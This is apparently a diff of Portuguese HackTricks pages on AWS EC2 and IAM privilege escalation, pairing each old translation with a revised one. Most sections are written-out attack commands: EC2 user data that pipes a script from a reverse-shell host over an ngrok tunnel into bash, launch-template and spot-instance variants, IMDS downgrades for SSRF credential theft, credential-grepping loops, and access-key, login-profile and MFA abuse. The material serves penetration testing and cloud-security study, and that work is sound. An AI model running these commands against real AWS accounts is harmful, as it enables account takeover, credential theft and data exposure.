||||
Inicie uma nova instância usando uma **criada** **ssh key** (`--key-name`) e então faça ssh nela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Acesso via rev shell no user data**
|
||||
- **Acesso via rev shell em user data**
|
||||
|
||||
Você pode iniciar uma nova instância usando um **user data** (`--user-data`) que enviará para você um **rev shell**. Você não precisa especificar o security group dessa forma.
|
||||
Você pode executar uma nova instância usando **user data** (`--user-data`) que lhe enviará um **rev shell**. Você não precisa especificar security group desta forma.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Tenha cuidado com GuardDuty se você usar as credenciais do IAM role fora da instance:
|
||||
Cuidado com GuradDuty se você usar as credenciais da IAM role fora da instance:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto Potencial:** privesc direto a qualquer EC2 role anexada a um perfil de instância existente.
|
||||
**Impacto Potencial:** Privesc direto para qualquer EC2 role anexada a instance profiles existentes.
|
||||
|
||||
#### Privesc para ECS
|
||||
|
||||
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **services** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode comprometer esses serviços (docker containers) e **roubar os ECS roles anexados a eles**.
|
||||
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode penetrar nesses serviços (docker containers) e **roubar as ECS roles associadas**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, consulte:
|
||||
Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, confira:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser capaz de registrar a instância no cluster e executar o ataque comentado.
|
||||
Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser possível registrar a instância dentro do cluster e executar o ataque comentado.
|
||||
|
||||
**Impacto Potencial:** Privesc direto para ECS roles anexadas às tasks.
|
||||
**Potential Impact:** Privesc direto para roles ECS anexadas a tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar o IAM role de uma instância comprometida** para poder roubar novas credenciais.\
|
||||
Como um instance profile só pode ter 1 role, se o instance profile **já tiver um role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar a IAM role de uma instância comprometida** para que pudesse roubar novas credenciais.
|
||||
Como um instance profile só pode ter 1 role, se o instance profile **já tiver uma role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Se o **instance profile tem uma role** e o atacante **não consegue removê‑la**, existe outra alternativa. Ele pode **encontrar** um **instance profile sem uma role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** a **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma compromised i**nstance:**
|
||||
Se o **instance profile tem um role** e o atacante **não consegue removê-lo**, existe outra alternativa. Ele poderia **encontrar** um **instance profile sem um role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a um i**nstance:**
|
||||
|
||||
- Se a instance **não tem nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Se o instance **não tiver nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impacto Potencial:** Direct privesc to a different EC2 role (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico do instance profile).
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou status específico de instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Com essas permissões é possível alterar o instance profile associado a uma instância; assim, se o atacante já tiver acesso a essa instância, ele poderá roubar credenciais de mais roles de instance profile ao trocar o que está associado a ela.
|
||||
Com essas permissões é possível alterar o instance profile associado a uma instance, então se o atacante já tiver acesso a uma instance ele poderá roubar credenciais de mais instance profile roles alterando o que está associado a ela.
|
||||
|
||||
- Se ela **possui um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
|
||||
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ou **substituir** o **perfil de instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- ou **replace** the **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para uma EC2 role diferente (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico de instance profile).
|
||||
**Impacto Potencial:** Direct privesc para um EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou um status específico de instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role attached** e um **rev shell** no **user data**.\
|
||||
Uma vez que a instância seja executada, ele pode **steal the IAM role**.
|
||||
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com um **EC2 Role anexado** e um **rev shell** no **user data**.\
|
||||
Uma vez que a instância for executada, ele pode **roubar o IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Um atacante com o `ec2:ModifyInstanceAttribute` pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários**, o que pode ser usado para obter um **rev shell na instância EC2**.
|
||||
Um atacante com a **`ec2:ModifyInstanceAttribute`** pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell para a instância EC2**.
|
||||
|
||||
Note que os atributos só podem ser modificados enquanto a instância estiver parada, portanto são necessárias as permissões `ec2:StopInstances` e `ec2:StartInstances`.
|
||||
Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então são necessárias as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Impacto Potencial:** Escalada direta (privesc) para qualquer EC2 IAM Role anexada a uma instância criada.
|
||||
**Impacto Potencial:** privesc direto para qualquer EC2 IAM Role anexada a uma instância criada.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** pode criar uma **new Launch Template version** com um **rev shell in** o **user data** e **any EC2 IAM Role on it**, alterar a versão padrão, e **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** irá **re-run the instances** usando esse template e irá executar o rev shell.
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova Launch Template version** com uma **rev shell no** **user data** e **qualquer EC2 IAM Role associada a ela**, alterar a versão padrão, e **qualquer Autoscaler group** **usando** essa **Launch Template** que esteja **configurada** para usar a **latest** ou a **default version** irá **re-executar as instâncias** usando esse template e executará a rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role diferente.
|
||||
**Impacto Potencial:** privesc direto para um EC2 role diferente.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com um **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar o IAM Role**.
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com uma **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar a IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,22 +196,22 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para uma role EC2 diferente.
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role diferente.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma role IAM porque, para anexar a role especificada na Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
|
||||
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar privilégios** para um IAM role porque, para anexar o role especificado no Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar (se ele tiver acesso ssh à instância) ou para escalar privilégios.
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar a instância (se tiver acesso ssh à instância) ou para escalar privilégios.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
|
||||
**Impacto Potencial:** Privesc direto aos EC2 IAM roles associados às instâncias em execução.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Essa forma não é muito útil para privesc, pois você precisa conhecer um nome de usuário e senha para explorá-la.
|
||||
Essa forma não é tão útil para privesc, pois é preciso conhecer um nome de usuário e uma senha para explorá-la.
|
||||
|
||||
**Impacto Potencial:** (Altamente não comprovável) Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
|
||||
**Impacto Potencial:** (Altamente improvável de provar) Privesc direto às IAM roles do EC2 anexadas às instâncias em execução.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes no user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
|
||||
Como os launch templates têm versionamento, um atacante com **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes em user data. Para isso, o script abaixo percorre todas as versões dos launch templates disponíveis:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,29 +248,24 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
|
||||
Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.
|
||||
|
||||
Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
|
||||
Supondo que encontremos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
|
||||
|
||||
**Potential Impact:** Escalação direta de privilégios para usuário(s) do IAM.
|
||||
**Impacto Potencial:** Escalada direta de privilégios para usuário(s) IAM.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir roubo de credenciais via SSRF)
|
||||
|
||||
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância acessível via caminhos comuns de SSRF/proxy de aplicações em execução na instância. Se o atacante conseguir acionar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
|
||||
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância alcançável via caminhos comuns de SSRF/proxy a partir de aplicações em execução na instância. Se o atacante conseguir disparar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
|
||||
|
||||
- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
|
||||
- Target resource: The running EC2 instance with an attached instance profile (IAM role).
|
||||
- Permissões necessárias: `ec2:ModifyInstanceMetadataOptions` na instância alvo (mais a habilidade de alcançar/acionar um SSRF no host).
|
||||
- Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
|
||||
|
||||
Commands example:
|
||||
Exemplo de comandos:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -297,5 +292,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Impacto Potencial: Roubo de credenciais do instance profile via SSRF levando a privilege escalation e lateral movement com as permissões do EC2 role.
|
||||
Impacto potencial: Roubo de credenciais do instance profile via SSRF levando à elevação de privilégios e movimento lateral com as permissões do EC2 role.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Um atacante com a permissão `ec2:ModifyInstanceMetadataOptions` pode enfraquecer as proteções do Instance Metadata Service (IMDS) — por exemplo forçando IMDSv1 (tornando HttpTokens não obrigatórios) ou aumentando HttpPutResponseHopLimit — facilitando assim a exfiltração de credenciais temporárias. O vetor de risco mais relevante é aumentar HttpPutResponseHopLimit: ao incrementar esse hop limit (TTL), o endpoint 169.254.169.254 deixa de ficar estritamente limitado ao namespace de rede da VM e pode tornar-se acessível por outros processos/contêineres, permitindo o roubo de credenciais.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Um atacante com as permissões ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute pode compartilhar AMIs ou snapshots com outras contas AWS (ou até torná-los públicos), expondo imagens ou volumes que podem conter dados sensíveis, como configurações, credenciais, certificados ou backups. Ao modificar as permissões de launch de uma AMI ou as permissões de create-volume de um snapshot, o atacante permite que terceiros iniciem instâncias ou montem discos a partir desses recursos e acessem seu conteúdo.
|
||||
|
||||
Para compartilhar uma AMI com outra conta:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
Para compartilhar um EBS snapshot com outra conta:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações sobre o IAM, consulte:
|
||||
Para mais informações sobre IAM, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,28 +12,28 @@ Para mais informações sobre o IAM, consulte:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Concede a capacidade de criar uma nova versão de política do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
|
||||
Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões customizadas.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
|
||||
**Impact:** Escalona privilégios diretamente, permitindo qualquer ação em qualquer recurso.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Permite alterar a versão padrão de uma IAM policy para outra versão existente, potencialmente escalando privilégios se a nova versão conceder mais permissões.
|
||||
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impacto:** Indirect privilege escalation by enabling more permissions.
|
||||
**Impacto:** Indirect privilege escalation ao permitir mais permissões.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Permite a criação de access key ID e secret access key para outro usuário, podendo levar a privilege escalation.
|
||||
Permite criar access key ID e secret access key para outro usuário, levando a uma potencial privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -43,35 +43,35 @@ aws iam create-access-key --user-name <target_user>
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permite criar ou atualizar um login profile, incluindo definir senhas para o login do console da AWS, levando à escalada direta de privilégios.
|
||||
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console AWS, levando a uma escalada direta de privilégios.
|
||||
|
||||
**Exploit para Criação:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit para Atualização:**
|
||||
**Exploit para Update:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao autenticar-se como o usuário "any".
|
||||
**Impacto:** Escalada direta de privilégios ao fazer login como qualquer usuário.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Permite habilitar uma access key desativada, potencialmente permitindo acesso não autorizado caso o atacante possua essa access key.
|
||||
Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao reativar chaves de acesso.
|
||||
**Impact:** Escalada direta de privilégios ao reativar chaves de acesso.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Habilita a geração ou redefinição de credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
|
||||
Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
|
||||
|
||||
**Exploit para Criação:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,13 +79,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impacto:** Escalada de privilégios direta dentro das permissões de serviço do usuário.
|
||||
**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Permite anexar policies a users ou groups, escalando privilégios diretamente ao herdar as permissões da policy anexada.
|
||||
Permite anexar policies a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da policy anexada.
|
||||
|
||||
**Exploit para Usuário:**
|
||||
**Exploit para o usuário:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,7 +93,7 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impacto:** Direct privilege escalation para qualquer coisa que a policy concede.
|
||||
**Impact:** Direct privilege escalation para qualquer coisa que a policy conceda.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Você pode usar uma policy como:
|
||||
Você pode usar uma política como:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,28 +127,28 @@ Você pode usar uma policy como:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impacto:** Escalação direta de privilégios ao adicionar permissões através de policies.
|
||||
**Impacto:** Direct privilege escalation ao adicionar permissões através de políticas.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
|
||||
Permite adicionar a si mesmo a um grupo IAM, escalating privileges ao herdar as permissões do grupo.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impacto:** Escala direta de privilégios ao nível das permissões do grupo.
|
||||
**Impacto:** Escalada de privilégios direta ao nível das permissões do grupo.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permite alterar o documento assume role policy de uma role, habilitando a assunção da role e suas permissões associadas.
|
||||
Permite alterar o documento da assume role policy de um role, permitindo a assunção desse role e de suas permissões associadas.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Quando a policy estiver como a seguinte, dando ao usuário permissão para assumir a role:
|
||||
Quando a política for como a seguinte, que concede ao usuário permissão para assumir a função:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,11 +163,11 @@ Quando a policy estiver como a seguinte, dando ao usuário permissão para assum
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.
|
||||
**Impacto:** Escalada de privilégios direta ao assumir as permissões de qualquer role.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma possível escalada de privilégios indireta.
|
||||
Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada de privilégios indireta.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impacto:** Escalada de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
|
||||
**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permite a ressincronização de um dispositivo MFA, potencialmente levando a escalada de privilégios indireta ao manipular a proteção MFA.
|
||||
Permite ressincronizar um dispositivo MFA, o que pode levar a uma escalação de privilégios indireta ao manipular a proteção MFA.
|
||||
|
||||
**Comando Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
|
||||
**Impacto:** Indirect privilege escalation por adicionar ou manipular dispositivos MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **role que confie nela**.
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confia nela**.
|
||||
|
||||
Observe que, ao fazer isso, **usuários legítimos não conseguirão fazer login**. No entanto, você pode obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
